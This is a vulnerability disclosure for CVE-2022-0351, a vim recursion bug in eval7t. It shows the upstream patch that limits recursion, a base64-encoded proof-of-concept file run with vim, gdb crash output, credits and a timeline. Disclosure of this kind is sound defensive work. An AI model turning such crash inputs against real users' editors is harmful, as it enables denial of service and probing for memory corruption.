CVE-2022-0351

Description

The Stack Pointer ($RSP) is corrupted at function eval7t in eval.c during calling eval3, eval4, eval5, eval6, eval7… continuously while parsing too many brackets in 8.2.4195 version.

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     char_u	*start_leader, *end_leader;
int ret = OK;
char_u *alias;
+ static int recurse = 0;

/*
* Initialise variable so that clear_tv() can't mistake this for a
@@ -3552,6 +3553,15 @@ eval7(
return FAIL;
}

+ // Limit recursion to 1000 levels. At least at 10000 we run out of stack
+ // and crash.
+ if (recurse == 1000)
+ {
+ semsg(_(e_expression_too_recursive_str), *arg);
+ return FAIL;
+ }
+ ++recurse;
+
switch (**arg)
{
/*

The vim developers patched this vulnerability by adding logic to limit recursion to 1000 times.


Proof of Concept

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KegDAAB9" | base64 -d > poc

$ ./vim -u ./poc

$ gdb ./vim
gdb-peda$ r -u poc

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x1ed1772bd0205600
RBX: 0x0
RCX: 0x0
RDX: 0x7fffffffd880 --> 0x1
RSI: 0x7fffffffd870 --> 0x0
RDI: 0x7fffffffd820 --> 0x5555558bca9a ('(' <repeats 200 times>...)
RBP: 0x7fffffffd870 --> 0x0
RSP: 0x7fffff7fefd0
RIP: 0x5555555dbe25 (<eval7t+37>: mov QWORD PTR [rsp+0x28],rax)
R8 : 0x0
R9 : 0x0
R10: 0x0
R11: 0x1
R12: 0x7fffffffd880 --> 0x1
R13: 0x0
R14: 0x7fffffffd820 --> 0x5555558bca9a ('(' <repeats 200 times>...)
R15: 0x7fffffffd820 --> 0x5555558bca9a ('(' <repeats 200 times>...)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5555555dbe16 <eval7t+22>: xor ebx,ebx
0x5555555dbe18 <eval7t+24>: sub rsp,0x38
0x5555555dbe1c <eval7t+28>: mov rax,QWORD PTR fs:0x28
=> 0x5555555dbe25 <eval7t+37>: mov QWORD PTR [rsp+0x28],rax
0x5555555dbe2a <eval7t+42>: xor eax,eax
0x5555555dbe2c <eval7t+44>: test rdx,rdx
0x5555555dbe2f <eval7t+47>: je 0x5555555dbe36 <eval7t+54>
0x5555555dbe31 <eval7t+49>: mov ebx,DWORD PTR [rdx]
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x7fffff7fefd0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00005555555dbe25 in eval7t (arg=0x7fffffffd820, rettv=0x7fffffffd870, evalarg=0x7fffffffd880,
want_string=0x0) at eval.c:3393
3393 {
gdb-peda$ exploitable
Description: Possible stack corruption
Short description: PossibleStackCorruption (7/22)
Hash: 4d4a9714ed5fc41d3e60eba892fbac67.ff116d70a8fd39d0c6006916f349ae57
Exploitability Classification: EXPLOITABLE
Explanation: GDB generated an error while unwinding the stack and/or the stack contained return addresses that were not mapped in the inferior\'s process address space and/or the stack pointer is pointing to a location outside the default stack region. These conditions likely indicate stack corruption, which is generally considered exploitable.
Other tags: DestAv (8/22), AccessViolation (21/22)

Credits

  • Pocas (discoverer)
  • Alkyne Choi (analyst)

Reporting Timeline

  • 2022-01-24 02h 21m : Reported this issue via the huntr
  • 2022-01-25 03h 03m : Validated this issue by Bram Moolenaar
  • 2022-01-25 03h 50m : Patched this issue by Bram Moolenaar
  • 2022-01-25 03h 50m : Assigned a CVE-2022-0351

Reference